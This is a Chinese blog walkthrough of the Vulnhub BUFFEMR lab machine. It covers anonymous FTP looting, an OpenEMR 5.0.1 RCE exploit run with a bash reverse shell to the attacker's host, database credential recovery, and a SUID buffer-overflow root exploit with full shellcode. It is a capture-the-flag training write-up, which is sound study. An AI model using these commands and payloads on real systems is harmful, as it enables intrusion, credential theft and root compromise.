Vulnhub-BUFFEMR: 1.0.1渗透

前言

由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
 如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!

 👉本文靶机下载连接-戳我直接下载!👈

1、靶机ip配置

  • Kali IP:192.168.2.103
  • 靶机IP:192.168.2.135靶机ip获取方式如下图
    在这里插入图片描述

2、渗透目标

  • 获取到普通用户家目录下的flag
  • 获取到/root/目录下的flag文件

3、渗透概括

  1. 使用匿名用户登录ftp
  2. ftp目录文件批量下载
  3. web账户密码查找
  4. 通过网站信息和版本来使用对应的RCE exp
  5. 数据库信息获取
  6. 缓冲区溢出提权


开始实战

一、信息获取

使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP如下所示
在这里插入图片描述

可以看到,开放的端口就两个21/ftp 22/ssh 80/http
21/ftp服务是vsftpd3.0.3,可以尝试使用ftp匿名用户登陆一下,看看有没有什么有用的信息
22/sshssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个
80/http基本上大部分的漏洞都是存在于web服务上

我们先用匿名用户anonymous登录一下这个靶机的FTP服务
如下图,进入几个目录,在openememr目录下面可以看到有很多的.php和.html文件,可以猜测这可能是某个网站的源码
那么我们这里记录一下,没准后面需要用到
在这里插入图片描述

二、批量获取网站源文件

我们用wget把这个目录的所有文件下载下来,后面没准用的上

wget -nH -m --ftp-user=anonymous --ftp-password=123456 ftp://192.168.2.135/share/openemr

在这里插入图片描述

我们再访问一下这个靶机的web服务
发现是一个Apache2的欢迎页面,并没有什么有用的信息
在这里插入图片描述

那么这里,我们可以结合一下我们上面在这个靶机ftp服务上获取的信息
我们在这个ftp服务中发现了一个目录openemr,并且发现这个目录里面有很多的.php和.html的文件
那么我们直接在网站访问openemr目录,如下可以看到跳转到了如下页面,证明了我们的思路没错
在这里插入图片描述

三、web账户密码获取

因为直接爆破的话成功性并不大,我们从我们之前在ftp下载的该站点的源码找找看
我们直接用cat * |grep -r "admin:"命令直接过滤admin用户,如下图就可以拿到账户密码了Monster123(因为一般站点的默认用户都是admin)
在这里插入图片描述

我们利用获得的账户密码,就可以成功登录到这个网站了
在这里插入图片描述

我们点击about菜单,就可以看到这个网站的版本号是openemr 5.0.1的了
在这里插入图片描述

四、RCE获取shell

我们现在使用searchsploit openemr 5.0.1来查找一下
发现有一个远程执行的exp45161.py,那么我们尝试利用一下这个文件
在这里插入图片描述

我们把这个文件cp下来
在这里插入图片描述

可以看到这个文件已经告诉了我们使用命令了,我们只需稍加修改即可
在这里插入图片描述

我们先在kali端用nc -lvvp 5555监听一下shell
然后如下图,使用这个exp文件(不知道为什么,靶机ip从192.168.2.135变成192.168.2.136了,不过将就一下,后面都按照136来)

python2 45161.py http://192.168.2.136/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/192.168.2.103/5555 0>&1'

在这里插入图片描述

如下图可以看到我们的kali已经监听到从靶机反弹过来的shell
在这里插入图片描述

可以和下面操作一样升级一下shell,如果觉得麻烦的话就用python3 -c 'import pty;pty.spawn("/bin/bash")'命令简单升级一下也ok
在这里插入图片描述

五、获取新的账户密码

我们ls一下/home目录,发现了一个buffemr的用户文件
直接cd的话发现没有权限,只能另辟蹊径了
在这里插入图片描述

/var目录下找到了一个user.zip的压缩文件,估计里面有密码
在这里插入图片描述

我们使用scp命令将这个压缩包传给kali里面去
scp user.zip root@192.168.2.103:/root/share/test/
在这里插入图片描述

这个zip文件用john工具是跑不出来的,小伙伴要是觉得自己的字典强大的话可以试试
百思不得其解之后,主意还是打到了我们刚刚wget爬下来的网站源文件

因为这是动态网站,那么肯定是要和数据库做交互的,那么我们就可以找找数据库的账户密码配置文件
我们cat index.php主页文件,发现了一个可能是数据库配置文件的路径
在这里插入图片描述

最终在sites/default/sqlconf.php文件里面找到了数据库的配置文件
在这里插入图片描述

那么我们现在登录用获取到的账户密码登录mysql,跟着下图操作获取key
命令是mysql -u openemruser -popenemruser123456
在这里插入图片描述

在上一步我们获取到了一个base64编码的密钥c2FuM25jcnlwdDNkCg==,我们直接拿来解压这个user.zip文件(不需要base64解码)
可以看到解压出了一个user.lst的文件
在这里插入图片描述

我们用cat命令查看这个文件内容,如下图成功获取到了buffemr用户的密码Iamgr00t
在这里插入图片描述

我们利用上一步的密码Iamgr00t登录buffemr用户,使用su buffemr命令进行登录
如下图,登陆成功
在这里插入图片描述

buffemr的家目录里面去,找到第一个flag文件user_flag.txt
在这里插入图片描述

六、提权

我们使用find / -perm -u=s 2>/dev/null命令找一下具有suid权限的命令
最终发现了一个可疑的文件/opt/dontexecute
在这里插入图片描述

我们用strings看一下这个文件里面的字符串内容
如下图有一个strcpy的字符串,这个是c语言里面的一个字符串拷贝函数,大概率是一个缓冲区溢出了,如果没有对输入的子字符做长度限制的话,那么就会存在缓冲区溢出,从而导致获取到普通用户可以提权到root
在这里插入图片描述

我们在GDB模式下运行这个二进制文件gdb -q dontexecute
在这里插入图片描述

我们使用如下命令生成一个999位的字符串,用于确定偏移量
在这里插入图片描述

我们在GDB环境中输入r 加上我们刚才生成的字符如下
就会发现程序崩溃了,报了一个偏移量
在这里插入图片描述

使用/usr/share/metasploit-framework/tools/exploit/./pattern_offset.rb -q 0x31724130命令可以计算出偏移量为512
在这里插入图片描述

直接构造出payload

$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')

如下,在执行程序的时候拼接上我们构造好的payload就可以拿到root

buffemr@buffemr:/opt$ 
buffemr@buffemr:/opt$ ./dontexecute $(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')
#
# 

我们再次使用python3 -c 'import pty;pty.spawn("/bin/bash")'命令升级shell
在这里插入图片描述

我们cd到root用户的家目录,成功拿到第二个flag文件Root_flag.txt,至此我们的渗透全部完成
在这里插入图片描述

  • 30
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

疯狂搞网安的18岁老登

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值